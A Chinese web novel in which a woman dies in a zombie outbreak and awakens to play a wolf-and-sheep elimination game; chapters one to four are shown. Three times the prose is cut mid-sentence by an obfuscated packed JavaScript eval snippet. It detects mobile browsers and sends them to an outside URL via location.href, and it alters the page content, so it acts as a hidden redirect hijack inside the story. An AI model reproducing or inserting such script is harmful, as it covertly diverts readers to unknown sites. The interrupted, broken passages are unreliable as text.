《丧尸拯救世界!》 1. 玩家祁晚 祁晚生病了。 她实在是太难受,根本没办法去上班,所以她请了假,躺在家里,这已经是第三天了。 她来到陌生的城市工作,只有她一个人,以至于现在生病了都没有人能照顾她——她本来以为自己挺一挺就能过去,就能好起来,就跟以前一样,但现在看来,并不是这样。 她浑身时而发冷,时而发热,视觉和听觉都在一点点失去,直到今天,她连控制自己的肢体都变得很困难。同时,她还变得畏光畏水。为此,她把屋里所有的窗帘都拉得严严实实,也已经两天没有碰水了。 她近乎失去视力和听力,对肢体的控制差到无法拨打电话,却依旧能在屋里行动。 因为她的嗅觉也变了。 她发觉自己的嗅觉变得无比灵敏,屋里的气味分子在她的脑内形成全屋图景,甚至一定程度上代替了视觉。 这导致她觉得自己好像不是生病了,而是朝着一个很奇怪的方向在进化。 跌跌撞撞地打开冰箱,冷冻层已经空了,冷藏层里还剩她化好的最后一块肉。生的,很新鲜,还带着血丝,弥漫着诱人的鲜味。 以前她只觉得生肉恶心,现在却不是这样。 她看着那块生肉,如同看见了什么珍馐,用一个很不符合她此刻身体状态的速度扑了上去。 片刻后,她吃完这块肉,缓缓抬起头来。 她向来明艳,如今却因为好几天没有洗头洗脸而变得蓬头垢面。脸色苍白发青,手背上带着可怖的青筋。肢体动作也很扭曲,因为吃相不雅,她半张脸都沾着不新鲜的血液。 她很清楚自己现在该去洗洗脸,但是不行,她怕水。 “还是好饿啊……”她喃喃道:“该去买点吃的了……” 虽然感觉上像是病了,但她的食欲没有丝毫减退,反而吃得更多了。 她迈着踉跄的步伐出了门,整栋公寓楼异常安静,电梯也空无一人。 因为电梯按钮的气味没有什么差别,她又近乎完全失去视力,废了很大劲才找到按钮,还按错了好几个。 电梯下降的过程,她的思维愈发混乱,眼前模糊的景象跟嗅觉形成的图景混杂在一起,滚筒洗衣机一般疯狂旋转,一分钟后,电梯传来到达的提示音,她脑海里终于涌现出一段完整的回忆。 …… “祁晚,祁晚,你看。”是同事在叫她。 “怎么了?看什么?”她收起手边的活看过去。 “你看这个短信。”同事的神色有些担忧。 【IM生物公司】尊敬的客户:IM生物公司网格服务将于三分钟后全球播撒病毒,期间您有任何问题和需求,请联系客服电话:xxxxxxxx。并请您及时关注天气、交通等信息。文明生存,安全出行。IM生物祝诸位身体健康,万事如意。【日期6-11】 “这什么啊?”祁晚看完就笑了,“这年头的诈骗短信这么有特色?” 同事是个有点胆小还没主见的姑娘,“万一是真的呢?” “你看它写的,全球播撒耶。”祁晚只觉得哭笑不得,“要是真的,不得给所有人都发吗?但是全公司也只有你收到了吧?你好好想想你的手机号又在哪里泄露了,怎么这么离谱的诈骗短信也能找到你。” “可是……”同事还想辩解。 祁晚不由她分说,“我说的没道理吗?这个什么生物公司要真是这么神通广大,就应该给所有人都发吧,我可没收到。” 同事点点头。 点完头,这有些唯唯诺诺的姑娘又开了口,“可是……我还是想知道有没有别人收到这个短信。” “那还不容易吗?”祁晚爽朗一笑,“你把这个短信截图发我,我去帮你问。” 然后她就真的去问了,但直到下班,她们也没找到一个收到同样短信的人。 于是下班时,她摆了摆手,“你看,果然是诈骗短信吧。” 同事连连点头,“我回去查查我哪里泄露手机号了。” …… 时间再回到现在。 她来到了楼下的超市。 所有该站着工作人员的地方都没有站着人,反倒是蔬果区和生鲜区挤满了人,祁晚的嗅觉告诉她,那些人都在吃东西。 这样可没付钱啊?她想,被抓了要罚款的,怎么没有人管呢?工作人员去哪里了? 可是蔬果的清香混合着肉类的鲜香,充斥了她的鼻腔,扰乱了她脑内的嗅觉图景,也摇动着她摇摇欲坠的理智。 好饿啊。 她想。 她真的好饿啊。 随便什么都行,她要吃东西。 恰好此时,她口袋里的手机响起来,她凭着仅剩的理智接通电话,只听那头传来同事极度惊恐的惨叫: “祁晚!祁晚!你在哪里!救救我!” “我爸妈突然就疯了!人们都疯了!他们在吃人啊啊啊啊啊啊啊啊啊啊啊啊啊——” “病毒是真的!病毒是真的啊!”同事边哭边喘,应该是在跑,“不要追我!不要吃我!求求你们——祁晚!你在哪啊?救救我!求你了!” 祁晚想要回答,想说:“我去救你,你别怕。”但开口却只发出了滞涩的声音。 “啊……呃……” 听见这个声音的一瞬间,电话那头就安静了。 同事的声音突然变得很平静,很理智,但又很绝望,“原来你也……” 祁晚想,是啊,我也。 原来,我也变成活死人了。 原来,短信是真的。 原来,没收到短信的人都会感染。 再下一刻,她彻底失去视觉和听觉,意识中断的最后一刻,她听见电话那头同事因为被咬而发出的惨叫。 她床头的书还没有看完;母亲的祭日到了,她还没去祭扫;与闺蜜约好的半个月后见面也不能再去——以后她会作为一个没有意识的活死人活下去。 一切都结束了。 这是她最后一个念头。 …… 迷乱的光团充斥着纯白的明亮空间,祁晚感觉自己也变成了一团光,温暖轻盈,悬浮在这片纯白空间里。 她仍有意识,只是思想好像被拖慢了,她要用很久才能想明白一些很简单的事。 比如她能感受到,那些迷幻的光团,其实每一个都是跟她一样的人。 纯白空间无边无际,密密麻麻布满了光团——她不敢想象这究竟是多少人,几百几千?甚至上亿?她数不清。 ……这就是死后的世界吗?大家一起变成光?然后……永远待在这里? 她在这片光海中浮沉,学会了缓慢移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064741|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,毕竟她是有意识的,有时候她会试图跟别的光团交流。 恰好此时,她见到一个颜色非常暗淡的光团在闪,便凑过去说话。 “哎,我说你,你好像在闪,没问题吗?” 停顿片刻,对面不理她,于是她又叫了一声,毕竟这是她见到的唯一一个闪烁频率很不正常的光团。 “喂?理理我呀?大美女在跟你说话耶?” 光团亮度略提高了一点,但还是没有回音。 “怎么大家都不理我,不应该呀。”祁晚嘟哝了一句。 真是奇了,她向来张扬,活这一辈子,还从来没体验过被人无视的感觉。 死后的世界好冷漠。 她如此想。 直到后来,她才发现,其他的光团并不是不理她,而是根本没有意识。 ——怎么说呢,原来不是别人都不理她,还怪让人松口气的。 但是,大家都是这个状态,为什么偏偏只有她能保持意识?为什么大家都失去意识了?更恐怖了!? 她的想法多如牛毛,乱成一团。只是在这片浩渺的空间中,不会有任何东西对她做出回应。 她变成活死人,然后死了,就这么简单。 她没有了时间概念,不知道过去了多久。也许一天;也许一年;也许一分钟;也没准一万年。 …… 纯白的空间依然平静,一如既往,幻彩的光团无意识地浮动。 然而今天有了些变化。 一个温柔的女声在空间中响起。 【欢迎诸位玩家进入Er游戏】 【我是诸位的引导者】 【如果给你一个机会,让你实现一个愿望,你会选择什么?】 听完,祁晚精神一振。 一个愿望? 那,能不能复活? 她……还有好多事情想做,她不想死,她也不能死。 她要回去。 纯白空间里的光团像是都清醒了,纷纷游动起来,对这个声音做出了响应。隐隐约约地,祁晚好像听见了许多人杂乱的说话声,但很微弱,像是梦呓。颜色浅淡的绿色细丝从纯白空间的四面八方生长出来,勾缠住了每一个光团,也轻轻地搭在了她身上。 没什么感觉,其他人也没什么反应,这丝好像只是标记一下她。 她很高兴,大家终于有意识了,她也不用永远待在这个地方了。但她在高兴的同时,比别人更多了些疑虑。 这个女声,这个播报的声音,虽然经过了十足的虚化,还带着回音,但……有点耳熟。 她好像听过—— 是谁来着?她努力思考着,但因为思维滞涩,怎么也想不起来。 还有这个绿色细丝,怎么回事?就算没什么感觉,也不能随便往她身上塞东西吧? 没给她更多思考的时间,播报声说了第一句针对她个人的话。 【游戏成员随机匹配,不可组队,请进入游戏】 【玩家祁晚,请进入第一场游戏】 祁晚顿时不再继续思考,她精神一振。 游戏啊?会是什么呢? 一道黑色镶银边的圆形入口出现在她前方,引导者下了指令【玩家祁晚,游戏入口已开启,请进入游戏】 祁晚毫不犹豫地就钻了进去。 2. 游戏开始 一道刺目的银光过后,祁晚赫然发现自己恢复了形体,长手长脚身高一米八,往起一站睥睨众生——还是曾经的那个她! 不是活死人!也不是光团!太好了! 而她出现的地点,是一处纯黑色的空间。 就是,先纯白再纯黑…… “好极端啊。”她吐槽了一句,“对眼睛不好。” 地面上有一盏煤油灯,燃着温柔的黄色火焰,照亮了一片半球形的空间,她就站在这个半球形空间里,而光线照亮的空间之外,是无边无际的黑暗。 “这是什么意思?”她犹豫着走向黑暗,但根本走不出煤油灯照亮的范围,照亮的边界好像有空气墙拦着她,她边顺着空气墙摸边喃喃:“说是游戏……怎么连新手导引都没有?这合理吗?这不合理。” 她自言自语着摸索片刻,发现她的活动空间还真只有煤油灯的照亮范围这么大——但很显然,这片黑色空间肯定不只有照亮范围这么一点。 总不能就这么在这待着吧? “那……” 她的目光落在她活动范围中心的煤油灯上。 既然只能在这个东西的照亮范围内活动,那她带着这个东西走不就好了?希望这个灯不是固定死的。 于是她走过去,伸手提这盏灯。 提起来了。 “还真能拿起来啊。”她一挑眉,“嗨呀,这就能走了,我真是天才。” 没等她迈出步子,煤油灯说话了,一个很生硬的机械声音。 祁晚:“呦,您还会说话?”真是奇了。 煤油灯:【玩家祁晚,登入狼羊游戏】 【全场共16名玩家,4名玩家获得狼身份,12名玩家获得羊身份】 祁晚将这盏会说话的灯举到眼前平视它,发现它居然还有幺蛾子。 油灯的黑烟汇聚成细丝,在灯壁上逐渐形成了文字。 胜利条件: 1.杀死所有羊玩家,且狼玩家数量≥2,狼玩家胜利。 2.选出所有狼玩家,且羊玩家数量≥1,羊玩家胜利。 规则: 1.狼玩家有杀人权,无投票权,一位狼玩家一晚可杀一人。 2.羊玩家无杀人权,有投票权,每位羊玩家每日有两票。任意玩家得票数大于六则失败。 3.狼玩家系统为红色,羊玩家系统为绿色。 4.狼系统可伪装成羊系统,无查看队友权限(此条仅狼玩家可见) 【隐藏胜利条件及规则:未公布】 规则看完后,烟灰弥散变形并重新汇集成一个数字,1。 看着这些,祁晚无言了片刻。 “好复杂。”光看规则,她看不明白哪边更容易赢,更何况还有隐藏条件,她问道:“所以我是什么玩家?这个数字又是啥?” 煤油灯离开她的手,漂浮起来,火焰变成艳丽的红色:“您是1号玩家,身份为狼玩家。请问您是否选择伪装?” 祁晚陷入沉思。 狼玩家的胜利条件是杀死所有羊玩家,偏偏狼玩家没有查看队友权限,她搞不好会被狼队友误杀。 快速认队友的方法倒有,不伪装,保持狼玩家的红系统就行;但如果不伪装,这个红系统被羊玩家看见,她马上就会被投票出局。 伪装,有可能会被别的狼玩家误杀;不伪装,马上就会被羊玩家投出去。 祁晚伸手去戳灯壁,“好麻烦啊——” 煤油灯躲开,火焰忽闪忽闪的,“请问您是否选择伪装?” 于是祁晚认命地继续思考,叹气,“两害相权取其轻吧……先伪装。” 煤油灯火焰变成绿色。 “绿的也太诡异了,”祁晚在这短短的几分钟内已经无语了好几次,“好像鬼火。” 绿的就算了,偏偏还漂浮着,更诡异了。 唯一的好处大概就是不用她拎着,能省点事。 “所以我现在应该干什么呢?”适应了一下这个诡异的灯,她问道。 “前往广场中心玩家别墅集合。”灯回答道:“您目前位于广场南侧,继续向北。” “这是广场啊?”祁晚无聊得边走边跟灯聊天,“黑黢黢的,这哪看得出来哪里有别墅。” “广场外侧为未完成区……”此灯有问必答,是个好品质,只是声音不知为何戛然而止了。 祁晚扭头看向那盏灯,“未完成什么玩意?” 煤油灯的火苗剧烈颤动,像是被什么东西掐住了灯芯,不再发出声音。 没等她再研究,黑暗里传来了另一个声音。 是脚步声。 她朝那个方向看去。 片刻后,三个人的照明区域与她的重合,她看清了这几人的模样。 来者两男一女,男的一个没她高,一个跟她差不多高。矮一点的男人神色自信,高一点的那个一身绿衣服,女的小小一个,一头黄毛,她不低头根本看不见,两人好像是情侣。 可能是因为害怕,绿衣男和黄发女都含胸缩背的,走路过于小心翼翼以至于有点蹑手蹑脚——整体来说,偷感很重。 照明区域重合,火焰均为绿色,照得四人的脸一片惨绿,面面相觑,相对无言。 片刻后,祁晚打破了沉默,“玩家?” 那比她矮一点的男人点了点头,问:“羊玩家?” 祁晚也点头,“是。” 她话音未落,躲在此男身后的一男一女看起来都松了口气——确定了,这不是装出来的羊,这是真羊。 祁晚就挺无语的。 规则里都说过狼玩家可以伪装了,你们到底在放松什么?这么傻白甜吗?别人说什么你们就信什么? 不对,那条规则是仅狼玩家可见的…… 不管对方是不是真的傻白甜,反正挺利好她的,她问道:“我到这里的时候只有我自己……你们是一开始就在一起?” 那女孩摇头,“不是的,我们两个在一起,铭哥是后来遇见的。” 她说着,指了指那个身高比祁晚矮一点的男人。 男人略微欠身,微微颔首,伸出手想要握手,以示友好,“我叫雷铭,4号。” 祁晚又无语了一下。 这男的,沃尔玛塑料袋吗? 好装! 然而她不知道现在这游戏是个什么情况,不敢直接给这男的一拳。只得按下自己翻白眼的欲望,伸手跟雷铭略碰了下手指,“祁晚,1号。” 雷铭像是得到了什么许可,笑容变得有点诡异,挺直了腰板介绍自己身后的两人。 说了名字和序号,祁晚根本没听,只记住了女的是2号,叫冬游,很奇怪的名字,冬游听着就冷……男的则是3号,叫方起。 她心说这下前四号倒是凑齐了,还怪巧的。 “我的系统说往北走,一起?” …… 十来分钟后,四人抵达目的地。 几人震撼于眼前的景象。 地面上,是一个标准而巨大的,泛着银光的圆圈。圈的内部阳光明媚、天朗气清,看天色已是黄昏时分。广场平坦开阔,精致的洋房别墅矗立在广场中央;而圆的外部……一片漆黑。 她们是到的最晚的,广场上已经站着十来号人,此时都望着圈外的她们。 于是她们迈过那一掌宽的银色圆圈,走进人群里。 祁晚扫视了一眼所有人,全场八男八女,放眼望去一片绿油油,每人身侧都飘着一盏惨绿惨绿的灯。 按规则所说,全场共有四匹狼,但见不到一个红色的灯。 唔……看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064742|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在场没有傻子。 至于谁是狼…… 无人言语,在场的人都互相打量着。 当然,光看脸是什么都看不出来的。 【诸位,我是本场游戏管理者。代号:薇】 【玩家全数到齐,游戏即将开始。】 又一个女声,与他们一开始进游戏时听见的不同。 因为这个声音。在场所有人均是一惊。 祁晚微微蹙起了眉。 她刚进游戏时听见的那个声音有点耳熟,自称引导者,她本来以为能再听一次的,再听一次她大概就能认出来,结果换人了…… 现在这个女声也挺温和,但带着种威严,自称管理者……怎么播报声还会换?是随机生成的声音吗? 管理者薇只说了这么两句话便不再出声,剩余的播报依然是煤油灯的那个生硬机械声。 【狼玩家于夜晚杀人,羊玩家于白天投票——接下来即将进入本场游戏第一个夜晚。请各位玩家根据序号进入房间,1-8号房间位于一楼,9-16号房间位于二楼。入夜后狼玩家开启杀戮模式,玩家不可出门。】 【请进入别墅——】 仿佛是换了一张幕布,夕阳咔地一下被换成的月朗星稀的夜空。 所有人眼前一黑。 有人吓了一跳:“啊——我瞎了!” “没事!没事!只是天黑了!” “卧槽!!!” 【已经进入本场游戏第一个夜晚,请各位玩家根据序号进入房间——晚餐已经在房间里备好】 别墅的大门哐当一声打开,力道大得好像是被人踹开的。屋内温暖的橙黄色灯光透出来,使人们刚经历骤明骤暗的眼睛恢复了一点视力。 在场无人敢动。 能鼓起勇气走出黑暗就已经耗尽了很多人的气力,如今这般变化更是难以接受。有人害怕到腿软倒地,也有人已经开始憋着抽泣,“我不是死了吗……现在是什么?” 有人听见她的嗫嚅,立刻搭话,“你是死了?我记得我变成丧尸了……” “我记得我去超市跟人抢吃的啊?” “那就是变丧尸了。” “哎呦卧槽……” “那大家都是死了来的,怎么还要死一回?” “为啥死了突然就来这了啊?” “鬼知道。” “那房子能进吗?” “不要乱进吧,感觉第一个进去的会被门夹死。” “我好害怕啊……” 祁晚竖起耳朵听了片刻,并未听到什么稀奇事,便兀自迈开步子走向别墅。 说得没错,反正都是死了才来的,还在乎什么。她甚至都知道大家死了以后待在哪。不过,听起来,别人都是眼睛一闭一睁就来这了。 只有她知道,她们还在那个纯白色的空间里待了许久。 她的脚步声打断了人们的说话声,人们都看向她的背影。 见她出发,雷铭也说话了,“还是都先进屋吧。规则都说了晚上不能待在外面,有什么明天再讲吧。” 就算那破门真要夹死一个人,也是夹死第一个进门的祁晚,于是人们陆陆续续地跟上,2号冬游屁颠屁颠地跟上她,“姐,咱俩房间应该挨着……一起可以吗?” 祁晚看这女孩一眼,其实她蛮喜欢这类娇小的女孩的,可惜现在游戏更要紧——扯远了。她对着这女孩眨了眨眼,“好呀。” 她走在前面,一脚跨过门槛,无事发生。那女孩跟着她,暗自松了口气。 3号方起、4号雷铭也跟过来,前四号的房间挨着。 随后大部队进楼,根据标识分流向自己的房间。 关门声陆续响起,随着第16声关门声,那播报声再次响起。 【游戏正式开始】 3. 第一夜 门砰的一声关上,祁晚打量着屋内的设置,看着桌面上所谓准备好的“晚餐”,陷入沉默。 拆包并摆盘好的压缩饼干、半个不太新鲜的苹果、一杯看起来像是速溶的咖啡。 ……什么生命体征维持餐。 那堆压缩饼干,几块压缩饼干你摆什么盘啊?仪式感吗? 她完全不想吃,想去床上躺一会。然而一直很安静地跟着她的煤油灯突然说话了。 她便扯了一把软椅坐下,看着这盏灯。 火焰刺啦一下变回鲜艳的红色,火光大炽。房间里的灯灭了,但因为火苗明亮,倒也能看清。 不远处传来咔哒一声,关好的门自己上了锁。 【已经进入本场游戏第一个夜晚,狼玩家进入杀戮模式,请选择您要杀死的对象】 祁晚指了指门,“门锁了啊?我出不去。” 煤油灯暂且没回答,她吐槽起来,“这关灯锁门的……想吓死谁啊?”不仅压缩饼干要摆的有仪式感,游戏也要有是吗? 谁设计的这玩意。 【请在纸条上写下您要杀死的序号,纸笔在桌子上】 “纸条?”祁晚开始翻腾桌面,片刻后,在餐盘底下发现了纸条,笔则是放在很显眼的地方,“找到了。不是我说,你们不合理啊,这才刚开局,我哪看得出来谁是羊……摇个骰子吧,你有没?” 火苗跳动了几下,又停顿了片刻。而后一个十六面的骰子出现在她面前。 祁晚赞,“不错。挺精巧的嘛。” 她随手摇了个数。 4 “那就4吧!” 这个数有点熟悉啊……祁晚想,然而想了片刻也没想起来为什么熟悉,想不起来就是不重要!于是她龙飞凤舞地写下一个“4”丢进火苗里,“现在能睡觉了吧?” 【1号玩家选择完毕,进入冷却时间】 纸条在火焰里燃尽,火苗刺啦一声变回绿色,居然还很贴心地调暗了亮度。 没有下一步指示,祁晚一口气灌掉那杯咖啡,很安心地躺到床上。 但也不是那么快睡着的。 进楼前她听见的那些对话走马灯一样在她脑海里转起来,她喃喃着自言自语起来。 “大家果然都是死了啊……” “但是为什么会在这里……那个白色的地方是怎么回事?怎么好像没人知道?” “人都已经死了,还杀,还能怎么杀?” “诈骗短信、活死人、白色空间、光团、游戏。”祁晚数着,“还有那个播报声,好熟悉……” 咖啡的效力上来,她很快就困了。 算了,睡吧。 …… 4号房间。 雷铭面对着鲜红色的火焰,正攥着纸条思考。 “一晚上只能杀一个啊。”他道:“12只羊呢?就算每晚都不错杀,也很难赢吧。”更何况狼玩家无法得知队友,有误杀概率在。 但最起码他前两晚是有目标的。 就是他在路上遇见的2号和3号,他已经完全取得了那两人的信任,顺便套出了人家的几乎全部信息。明确地知道那两人是羊。 “那就3号吧,反正目标是把羊都杀完嘛。”曹信写好纸条,团成纸团丢进火里,“我记得我是死了来的啊……别人难道不是?还能怎么死?” 火焰吞没纸团,变回绿色,发出播报声。 【4号玩家选择完毕,进入冷却时间】 雷铭唔了一声,准备去睡觉,他也困了。 “有啥事明天再说吧。” 然而播报声又一次响了起来。 【1号玩家选择4号,您已被淘汰】 雷铭:“啊?” 【4号玩家,狼羊游戏失败,淘汰】 一道熟悉的,黑色镶银边的圆形入口出现在他面前,是传送门,那是他再度睁开眼时第一个看见的东西。 没想到这么快就再见了。 【请准备进入下一场游戏】 “那女的杀我干嘛?”雷铭火了,“莫名其妙!我惹她了吗?不是,那我就这么淘汰了?” 【请准备进入下一场游戏】 雷铭:“她的选择有任何依据吗?她咋选的我?” 【一号玩家是选择方式是摇骰子】 【请准备进入下一场游戏】 雷铭:“……” “这游戏是随机匹配吗?”走进传送入口前,他生无可恋地问了一句。 【是的,同语种人群随机分配,不可组队】 “别让我再碰见她了,算我求你。”他步伐沉重地迈进门,“什么人啊。” …… 3号房间。 方起正准备睡觉,还没躺下,房间里响起播报声。 【4号玩家选择3号,您已被淘汰】 方起:“……” 方起:“那个叫雷铭的吗?为什么?他不是羊?” 播报声继续。 【3号玩家,狼羊游戏失败,淘汰】 他思考片刻,一拍大腿,“我懂了,狼系统可以伪装。难怪我啥线索都发现不了,早知道不在他面前装羊了。这下好了,直接嗝屁了。规则你们也不告诉我,我被淘汰了,谁来盯着啊?” 播报声从煤油灯的生硬机械声变成了温和的女声,是本场游戏的管理者薇。 管理者薇道:“主神说祂认为这个很简单,不用特意告诉你。” 方起气得翻了个白眼,一脸无语,又不得不保持客气,“不是,姐,什么叫祂认为?祂究竟知不知道自己是神?拿祂跟我等凡人比?我自己都觉得我不配。算了……不说祂了。就算主神这么想,你不能告诉我们一声吗?” 管理者:“……你仔细看看自己的规则。” 他这才捧起灯仔细看,然后在黑漆漆的灯座上发现了一些浅淡的字迹。 完了,他没细看。 管理者:“唉……” 方起:“对不起,姐,我瞎……那接下来怎么办,秋老板一个人能行吗?这可是第一场游戏,到处都是谬误和漏洞吧。” 管理者:“新唤醒的人数已经能凑齐新的游戏了,新的场地建设也差不多了。你去新场地吧,新场地漏洞肯定比这里少,你能轻松点。” 方起:“我没说这个,我有什么累的。我说秋老板怎么办?她2号,你知道的吧。” 管理者:“我知道。但我觉得你不用担心——她不比你可靠吗?” 方起:“倒也不必这么强调……这样吧,传送门待会我自己开,你不用管我了,我再转转这附近,还是尽量给秋老板减点负担。” 淘汰后,煤油灯变回黄色,方起提起已经失去跟随功能的它,一路走向外面。他从兜里掏出一个本子,边走边记录。 “天幕太生硬了,”他念叨着:“也没有风,那个花啊草啊远看还好,近看全是像素块,对人们的意识支持也不够,太容易累了,我都有点挺不住……不能因为这批人是精神强度最高的就这么折腾吧。算了,待会都报上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064743|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 走到广场边缘,他迈出那个巨大的银色光圈,看着广场外一望无际的黑暗。 “这么大的空间,全要靠意识搭建?” “不愧是祂啊……真不愧对主神之名,什么级别的精神力啊,牛X。” 感慨完,他将写好的纸丢进火焰里烧掉:游走者上报申请修复条目,以及申请去新场地,请下达坐标。请接收——代号:游。 他的本名并不叫方起,那只是化名——当然,现在他的名字也不重要了。主神只允许他们使用代号,他的代号是游。 一条绿色的细丝从远处蔓延而来,搭上他的手腕。 如果祁晚在这里,应该会觉得很熟悉,她在纯白空间里就见过这绿色细丝。 “是你来传送坐标啊。”游一笑,“这下可真是名副其实的世界树了。我知道你忙,不过有空也多跟秋老板聊聊,她超想你的。” 绿色细丝直立起来,做点头状,而后,一道黑色镶银边的传送门赫然出现。 游抬脚便迈,刚迈进一只脚,身边忽然吹起一阵风。 好似有白影飘过。 “嗯?这里会有风?”他回头,问那细丝,“刚才你感觉到什么没?” 细丝摇头,发出细弱的声音,“没有。” “好吧。” …… 1号房间。 咖啡带来的困意简直是假的,躺了没几分钟,祁晚瞪着眼睛坐起来,“这咖啡假的吧?我以前喝了包睡的。” “睡不着。”她坐起来,把自己的头发往后一捋,“我要出去转转。” 煤油灯的火焰变得亮了一点【冷却时间玩家不可离开房间】 祁晚:“多管闲事,又不是在管小学生。” 然后她走到门边,一通狂拧。 打不开,锁死了。 “开一下。”她回头看向那灯,“你知道限制玩家人身自由是很没道理的吗?” 煤油灯【冷却时间玩家不可离开房间】 屋子里也没什么能拆门的道具,祁晚认命地走到窗边。 “这里好假啊。”她一边叹气一边朝外看,“真是好假的月亮和星星,好假的天色——哪有时间变化跟换幕布似的地方啊?” 而后她朝楼下看去:“那花园喷泉也是,走近了一点水汽感觉不到,太假了也……哎?那有人吗?” 广场草坪间的小道上,走着一个绿衣男人,手里提着一盏黄色的灯。 “好像有点印象……”祁晚揉了揉眼,“他是不是那个3号?他怎么出去了?” 煤油灯不回答。 她没在意,猫着腰眯着眼睛继续看,“他走出去了……迈出大白圈了,看不见了——为什么他可以到处走,还能出去啊?” 皱眉抱怨完,又得不到回答,祁晚便移开目光,“真是好莫名其妙的地方。” 好像是错觉似的,那绿衣男消失的地方,闪过一道白影。 祁晚扑棱一下又贴回窗子上,“什么东西?” 然而那里已经什么都没有了。 又盯了这假得要死的景色片刻,祁晚眼睛酸了,便坐回床上,躺下,“错觉吧……肯定是我太久没休息,眼都花了,再不然就是这假的要死的地方有Bug。好累,歇会。” 然后她闭上了眼。 她的煤油灯火苗变暗,默默离开了她的床头,悄无声息地落在了窗边。 火苗略微朝外探去,好像在往外看似的。 祁晚闭目养神,没有看见。 4. 第一日 次日。 祁晚根本没躺多久,除了站那一会就是在数星星,有幸再一次见到了天空幕布的更换。 夜空咔的一下就变成清晨。彼时,她正全神贯注地凝视着夜空数星星,猝不及防,差点被太阳晃瞎。 “谁设计的啊。”她两眼含泪低下头,“能不能人性化一点?死人也不能这么嚯嚯啊。” 随着阳光刺入房间,桌面上出现了新的餐食。 【请在早餐后到二楼大厅集合】煤油灯开始播报【已经进入本场游戏第一个白天。玩家齐聚后,羊玩家将开启投票环节】 祁晚轻盈起身,赫然发现自己没怎么睡居然也不累,而看着与昨晚毫无差异的食物,她依旧没有食欲。 “根本不饿啊,也不累。”她摸了摸肚子,想起一个很关键的问题,“死人需要吃饭睡觉吗?” 【不需要】煤油灯回答道。 “这个时候你倒是回答了,昨天晚上是哑巴了吗?”祁晚无言,对着干巴巴的压缩饼干沉吟片刻,她走向二楼。 二楼大厅摆着一张长桌,两边各摆八张高脚椅。大厅无窗,只有生硬的灯光,而长桌尽头的墙面上,挂着一个巨大的公示牌,写着在场十六个人的序号和名字。 其中两个人的名字已经划掉了。 祁晚发现自己又是来得最晚的,而已经坐在长桌两旁的其他人看起来都很疲惫。 ……大家都没睡吗这是? 按理来说,死人不需要睡眠,但大家伙毕竟是刚死,应该是不适应这个状态。 最靠近公示牌的两个座位和最靠桌尾的一个位置空着,祁晚想了想,坐在了桌尾的位置上。 旁边坐着的女孩看了她一眼,很快收回目光。 祁晚没在意,兀自坐下,拿起桌面上的水喝了一口,看见水杯旁还摆了俩纸条,估计是投票用的。 这椅子确实很高,以她的身高,脚也只能堪堪够到地。 她扫了一眼旁边的女孩,这女孩的灯上写着11,是11号——这女孩一头银发带挑染,很时尚。因为个子不够高,腿不够长,脚在空中悬着,微微晃荡着。 ——怪可爱的。 【玩家全数到齐,游戏继续】 【昨夜被杀死的玩家为3号,4号】 公示牌上,这两个人的名字被划掉,其中,雷铭的名字变成了红色。 【3号玩家身份为羊玩家,4号玩家身份为狼玩家。狼玩家误杀,淘汰票数变为4票】本来是6票的。 【触发隐藏规则。隐藏规则1:已补充进狼玩家系统,请自行查看。】 祁晚一口水直接呛住,“咳咳咳咳咳咳——呕——” 她怎么第一晚把狼杀了啊?!还是雷铭,难怪她老觉得4这个数字耳熟! 全桌人都看向她。 她旁边的女孩从椅子上跳下来,手忙脚乱地不知道该怎么办才好,“你没,没事吧?” 祁晚快咳吐了,很努力地才把气顺过来,轻轻拉开那女孩的手,“没事,没事,谢谢,我就是呛着了。” 那女孩便退开,跳回椅子上坐着,“原来这样是呛着了……” 祁晚:“你说什么?我没听清?” 女孩腼腆一笑,“没什么。继续听游戏吧。” 小插曲过去,播报声继续。 【已经进入本场游戏第一个白天,开始羊玩家投票模式,请写下您认为可疑的对象,投入火焰中】 长桌上,人们自觉讨论起来。 “不是说有四匹狼吗?这才死了两个人。” “还有一个是狼。” “狼玩家原来会误杀啊。” “误杀那不挺好,咱们赢的概率更大了。” “只死了俩,那意思是有两匹狼没杀人。” “狼还能不杀人?” “不知道啊,应该吧。” “那投谁啊?” 此问题一出,大家都陷入沉默。 什么狗屎游戏?啥线索都没有就投票,这合理吗?是要瞎投吗? 片刻后,终于有人发了话。 “昨天晚上,我听见一楼西侧有门响。”发言的是7号女,她道:“一楼西侧……” “住的是1-4号。” 其中3,4号已经死了。 14号男听着目前仅有的线索,一拍大腿,“懂了,狼玩家杀人肯定需要开门!” 他由此说出自己的推理,“4号狼出门杀3号,但是3号反抗,所以他俩两败俱伤都死了。” 